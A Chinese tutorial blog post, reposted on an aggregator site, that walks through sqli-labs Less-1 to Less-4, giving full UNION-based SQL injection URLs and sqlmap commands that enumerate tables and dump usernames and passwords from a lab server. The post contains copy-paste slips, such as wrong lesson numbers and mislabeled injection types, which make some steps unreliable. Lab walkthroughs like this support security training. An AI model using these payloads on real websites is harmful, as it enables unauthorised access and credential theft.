2-手工sql注入(进阶篇) sqlilabs靶场1-4题

1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客

2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客

3. 本章会使用到sqlmap,关于sqlmap的命令:sql注入工具-​sqlmap-CSDN博客


点击访问题目:

通过 url 参数访问题目:http://服务器地址/sqlilabs/Less-1/

  • Less-1 是第一题题目
  • Less-2 是第二题题目 
  • 以此类推,进行访问

判断注入类型:在SQL注入中,判断是字符型注入还是数字型注入可以通过以下方法:

  • 1. 观察注入点的上下文:在注入点前后的SQL语句中,如果注入点处的参数被引号包围(例如:'1'),则很可能是字符型注入;如果不被引号包围(例如:1),则可能是数字型注入。
  • 2. 字符串函数的使用:在注入点处,如果使用了字符串函数(如CONCAT、SUBSTRING、LENGTH等),则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值,而数字类型的参数并不需要使用字符串函数。
  • 3. 错误消息:如果在注入点处注入了非法字符或非法语法,且数据库返回了错误消息,可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如,如果错误消息中包含了关于字符串数据类型的错误信息(如字符串转换错误),则可能是字符型注入。
  • 4. 注入点的响应:在注入点处注入不同类型的数据,观察数据库的响应。如果注入点返回了期望的结果(如查询结果集),则可能是字符型注入;如果注入点返回了错误信息或者无效的结果,可能是数字型注入。

Less-1

第一题的题目Less-1需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-1/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-1/?id=1

手工注入

第一步:判断注入点 是否存在注入

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1

测试是否存在注入:

  1. 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1 and 1=2 #      正常返回数据
  2. 字符型注入-单引号闭合测试:'
    • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' and 1=1 #      不正常返回数据,页面报错,可能存在注入点,报错中可以看到数字1,推断出是字符型注入

结果:

  • http://38.147.186.138/sqlilabs/Less-1/?id=1 结果存在注入
  • 注入类型为字符型:1' and 1=1

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '

获取字段数:

  1. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 1 #   报错
  2. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 1 -- +   字段数为1,显示正常
  3. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 2 -- +   字段数为2,显示正常
  4. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 3 -- +   字段数为3,显示正常
  5. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 4 -- +   字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度
  6. 问题:为什么使用 # 注释符报错,而使用 -- 注释符不报错
    1. 当sql注入时使用 order by # 时,它是将 # 后面的内容作为注释,因此后面的语句被忽略,可能会导致语法错误或意外结果
    2. 当sql注入时使用 order by -- + 是单行注释的开始,并注释掉了 -- + 后面的内容,这样做的目的是注释掉 sql 语句中可能造成错误的部分,而不会导致整个语句被忽略
    3. 总的来说,-- + 注释符号在 sql 注入中使用更为广泛,因为它可以注释掉部分语句而不会导致整个语句被忽略。也可以 在使用 # 报错后 使用 -- + ,因为具体使用哪种注释符号还要根据具体的注入场景和数据库的不同而定
    4. 但是建议还是使用 -- + 

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3

确定回显位:

  1. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' union select 1,2,3 -- + 未显示回显位,显示查询的数据
  2. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=2' union select 1,2,3 -- + 未显示回显位,显示查询的数据
  3. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,2,3 -- + 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3
  4. 问题:关于为什么 id=2' union select 1,2,3 -- +和?id=2' union select 1,2,3 -- + 返回是正常的数据而不是 回显的数据
    1. 因为 id=2' 数据库中存在2的数据查询出来2的数据显示到网页中,然后才查询 union select 1,2,3 -- +
    2. 解决:可以设置 id=-1'  或将 id值设置为一个没有结果的值,例如 id=1000',因为 数据库中没有id=1000的数据,所以这时候就是 2,3进行占位

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,database(),3 -- +

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security

获取数据库表名:

  • 获取数据库所有表名:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
  • sql语句解读:从`information_schema.tables`表中获取所有属于`security`数据库的表名,并将它们以逗号分隔的形式返回。
    • group_concat() 是一个聚合函数,它用于将多个行的值连接到一个字符串中。它将多个值连接在一起,并且可以选择添加分隔符。
    • information_schema.tables 是一个默认的数据库,用于存储数据库中所有表的元数据。它包含了数据库中所有表的名称、类型、所属数据库、创建时间等信息。通过查询 information_schema.tables,可以获取数据库中表的相关信息,例如表名称、列数、索引数等。

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

第六步:获取数据表列名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
    • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
    • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • users数据库列名:username和password

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users -- +
 

Less-1  手工注入结束

sqlmap注入

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --batch
  2. 获取所有数据库:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --dbs  --batch
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --current-db --batch
  4. 获取security数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" --tables --batch
  5. 获取users表中的字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-1  sqlmap工具注入结束

 

Less-2 

第二题的题目Less-2需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-1/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-1/?id=1' and 1=1

手工注入

1. 判断注入类型

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1

判断注入类型:

  • 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 and 1=2 #      正常返回数据
  • 字符型注入-单引号闭合测试:'
    • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1' and 1=1 #      不正常返回数据,页面报错,可能存在注入点,不被引号包围(例如:1),则可能是数字型注入

结果:

  • http://38.147.186.138/sqlilabs/Less-2/?id=1 结果存在注入
  • 注入类型为数字型注入:1' 

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:数字型注入

获取字段数:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 1 -- +   字段数为1,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 2 -- +   字段数为2,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 3 -- +   字段数为3,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 4 -- +   字段数为4,字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3

确定回显位:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,3 --+ 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列

获取当前数据库库名:

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,database(),3 --+

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security

获取数据库表名:

  • 获取数据库所有表名:http://38.147.186.138/sqlilabs/Less-2/?id=-100 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

第六步:获取数据表列名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • users数据库列名:username和password

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,group_concat(username,password) from users --+

Less-1  手工注入结束

Less-3

第三题的题目Less-3需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-3/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-2/?id=1' and 1=1

手工注入

1. 判断注入类型

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1

判断注入类型:

  • 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1 and 1=2 #      正常返回数据
  • 字符型注入测试:
    • http://38.147.186.138/sqlilabs/Less-3/?id=1' and 1=2 #   不正常返回数据,页面报错,可能存在注入点,1 被引号包围 "1"  说明是一个字符型注入,报错中还有一个 ) 号,可以推断这是一个 单引号加右括号的闭合方式:')  

结果:

  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')

获取字段数:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 1 -- +   字段数为1,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 2 -- +   字段数为2,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 3 -- +   字段数为3,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 4 -- +   字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3

确定回显位:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,3 --+ 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列

获取当前数据库库名:

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,database(),3 --+

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称:security

获取数据库所有表名:    http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

第六步:获取数据表列名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

​​​​​结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • users数据库列名:username和password

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,group_concat(username,password) from users --+

Less-4

第四题的题目Less-4需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-4/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-4/?id=1' and 1=1

手工注入

1. 判断注入类型

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1

判断注入类型:

  • 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1 and 1=2 #      正常返回数据
  • 字符型测试-单引号闭合:'
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1' 正常返回数据
  • 字符型测试-单引号闭合+括号:')
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1') 正常返回数据
  • 字符型测试-双引号闭合:"
    • ​​​​​​​​​​​​​​输入:http://38.147.186.138/sqlilabs/Less-4/?id=1" 不正常返回数据,页面报错,可能存在注入点,1 被引号包围 "1"  说明是一个字符型注入,报错中还有一个 ) 号,可以推断这是一个 双引号加右括号的闭合方式:")  

结果:

  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")

获取字段数:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 1 -- +   字段数为1,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 2 -- +   字段数为2,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 3 -- +   字段数为3,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 4 -- +   字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3

确定回显位:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,3 --+ 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列

获取当前数据库库名:

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,database(),3 --+

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security

获取数据库所有表名:    http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,group_concat(username,password) from users --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/318514.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

stm32f103zet6_串口实现-DHT11-tim1(定时)

1思路 1打开时钟 1.1使用定时器实现us级的计时 1.2在打开串口 1,3在DHT11驱动中修改引脚 stm32cudeMX 配置 1打开时钟 2打开串口 3打开tim1(定时器) 4生成代码 代码设置 1导入DHT11库(tim.h是定时器的文件系统自动生成的) DHT11.c #include "dht11.h" #inc…

PHP算命源码_最新测算塔罗源码_可以运营

功能介绍 八字精批、事业财运、姓名分析、宝宝起名、公司测名、姓名配对、综合详批、姻缘测算、牛年感情、PC版测算、八字合婚、紫微斗数、鼠年运程、月老姻缘、许愿祈福、号码解析、塔罗运势、脱单占卜、感情继续、脱单占卜、塔罗爱情、心理有你、能否复合、暗恋对象、是否分…

5.3 进程间通信管道和共享内存

每次打开一个网页都是一个进程 进行管道之间通信的方式:以前学到的有可以在磁盘上开辟空间进行交互,也可以在内存中开辟缓冲区进行交互。 一定注意可读性 管道就是属于在内存中的一片缓冲区,管道可以在命令行中创建管道mkfifo也可以在vim中…

java技术栈快速复习05_基础运维(linux,git)

Linux知识总览 linux可以简单的理解成和window一样的操作系统。 Linux和Windows区别 Linux是严格区分大小写的;Linux中一切皆是文件;Linux中文件是没有后缀的,但是他有一些约定俗成的后缀;Windows下的软件一般是无法直接运行的Li…

京东JD商品SKU信息API返回值解析:精准掌握商品属性

在电子商务迅猛发展的今天,商家对于商品信息的掌握和管理显得尤为重要。作为电商平台的佼佼者,京东(JD)提供了丰富的API接口,使得商家能够轻松地获取商品的详细信息,包括SKU(Stock Keeping Unit…

2024五一数学建模A题思路代码与论文分析

2024五一数学建模A题完整代码和成品论文获取↓↓↓↓↓ https://www.yuque.com/u42168770/qv6z0d/gyoz9ou5upvkv6nx?singleDoc# 2024五一数学建模A题钢板最优切割路径问题需要建立的模型和算法: 图论 最短路径算法(Dijkstra算法、Floyd算法等) 动态规划 网格化离散建模 …

【USB 3.2 Type-C】 端口实施挑战的集成解决方案 (补充一)

USB 3.2 Type-C 端口集成 补充,上一篇感觉还有没理解到位的一部分; 一、只做正反插的通信,已经差不多够了,但是这并不是完整的TYPE-C,必须要补充上PD; 参考连接: TYPE-C PD浅谈(一)https://w…

删除链表中等于给定值 val 的所有结点(三种方法深入解析)

又见面啦,接下来的链表相关Oj题目我会根据我自己的理解来给大家讲解,包括解析和代码,希望你可以对链表有更加深入的理解!! 题目: 先上链接: OJ题目 给你一个链表的头节点 head 和一个整数 va…

软件工程毕业设计选题100例

文章目录 0 简介1 如何选题2 最新软件工程毕设选题3 最后 0 简介 学长搜集分享最新的软件工程业专业毕设选题,难度适中,适合作为毕业设计,大家参考。 学长整理的题目标准: 相对容易工作量达标题目新颖 1 如何选题 最近非常多的…

计算机网络-408考研

后续更新发布在B站账号:谭同学很nice http://【计算机408备考-什么是计算机网络,有什么特点?】 https://www.bilibili.com/video/BV1qZ421J7As/?share_sourcecopy_web&vd_source58c2a80f8de74ae56281305624c60b13http://【计算机408备考…

RabbitMQ入门教学(浅入浅出)

进程间通信 互联网的通讯时网络的基础,一般情况下互联网的资源数据对储存在中心服务器上,一般情况下个体对个体的访问仅限于局域网下,在公网即可完成资源的访问,如各种网站资源,下载资源,种子等。网络通讯…

40 生产者消费者模型

生产者消费者模型 概念 为何要使用生产者消费者模型,这个是用过一个容器解决生产者和消费的强耦合问题。生产者和消费者之间不需要通讯,通过阻塞队列通讯,所以生产者生产完数据之后不用等待消费者处理,直接扔给阻塞队列&#xf…

用Stream流方式合并两个list集合(部分对象属性重合)

一、合并出共有部分 package com.xu.demo.test;import java.util.Arrays; import java.util.List; import java.util.stream.Collectors;public class ListMergeTest1 {public static void main(String[] args) {List<User> list1 Arrays.asList(new User(1, "Alic…

docker 基础命令

docker 安装 更新系统 sudo apt update sudo apt -y dist-upgrade安装docker sudo apt-get -y install ca-certificates curl gnupg lsb-release sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/…

【Elasticsearch】安装配置与使用

1 前期准备 1.1 环境准备 麒麟ARM 64位操作系统 1.2 安装包准备 Elasticsearch下载地址: https://www.elastic.co/cn/downloads/elasticsearch 2 部署elasticsearch 2.1 创建es专用用户 注意&#xff1a;ES不能使用root用户来启动&#xff0c;必须使用普通用户来安装启…

【HTTP上】协议/域名/url/请求和响应/状态码/重定向

文章目录 0.应用层协议0.1HTTP协议 1.域名2.DNS3.访问浏览器4.URL搜索特殊字符如#&~ 5.万维网6.http请求和响应的格式6.1HTTP请求格式6.2HTTP响应格式6.3示例6.3模拟HTTP【框架】6.4查看请求或响应的工具FiddlerPostman 7.网页7.0对访问网页的认识7.1wget7.2新的认识7.3GET…

Java将文件目录转成树结构

在实际开发中经常会遇到返回树形结构的场景&#xff0c;特别是在处理文件系统或者是文件管理系统中。下面就介绍一下怎么将文件路径转成需要的树形结构。 在Java中&#xff0c;将List<String>转换成树状结构&#xff0c;需要定义一个树节点类&#xff08;TreeNode&#…

SQL注入漏洞--报错/union/布尔盲注/时间盲注

之前介绍了数据库的基本操作&#xff0c;今天这篇文章就来实操SQL注入。 阅读本文前可以先看一下基本操作&#xff0c;有助于更好理解本文。。。 https://blog.csdn.net/weixin_60885144/article/details/138356410?spm1001.2014.3001.5502 what SQL---结构化查询语言---S…

北京金融大数据有限公司X百望云签署战略合作协议 共同发布“金数数据要素流通云平台”

随着数据资产与数据要素相关政策密集出台&#xff0c;资本与实业企业均跃跃欲试。但因为没有龙头企业的方案引领和成熟的落地实践&#xff0c;市场呈谨慎观望态势&#xff0c;热度无处安放。 北京金融大数据有限公司&#xff08;以下简称“金融大数据公司”&#xff09;作为市…

excel怎么删除条件格式规则但保留格式?

这个问题的意思就是要将设置的条件格式&#xff0c;转换成单元格格式。除了使用VBA代码将格式转换外&#xff0c;还可以用excel自己的功能来完成这个任务。 一、将条件格式“留下来” 1.设置条件格式 选中数据&#xff0c;点击开始选项卡&#xff0c;设置条件格式&#xff0…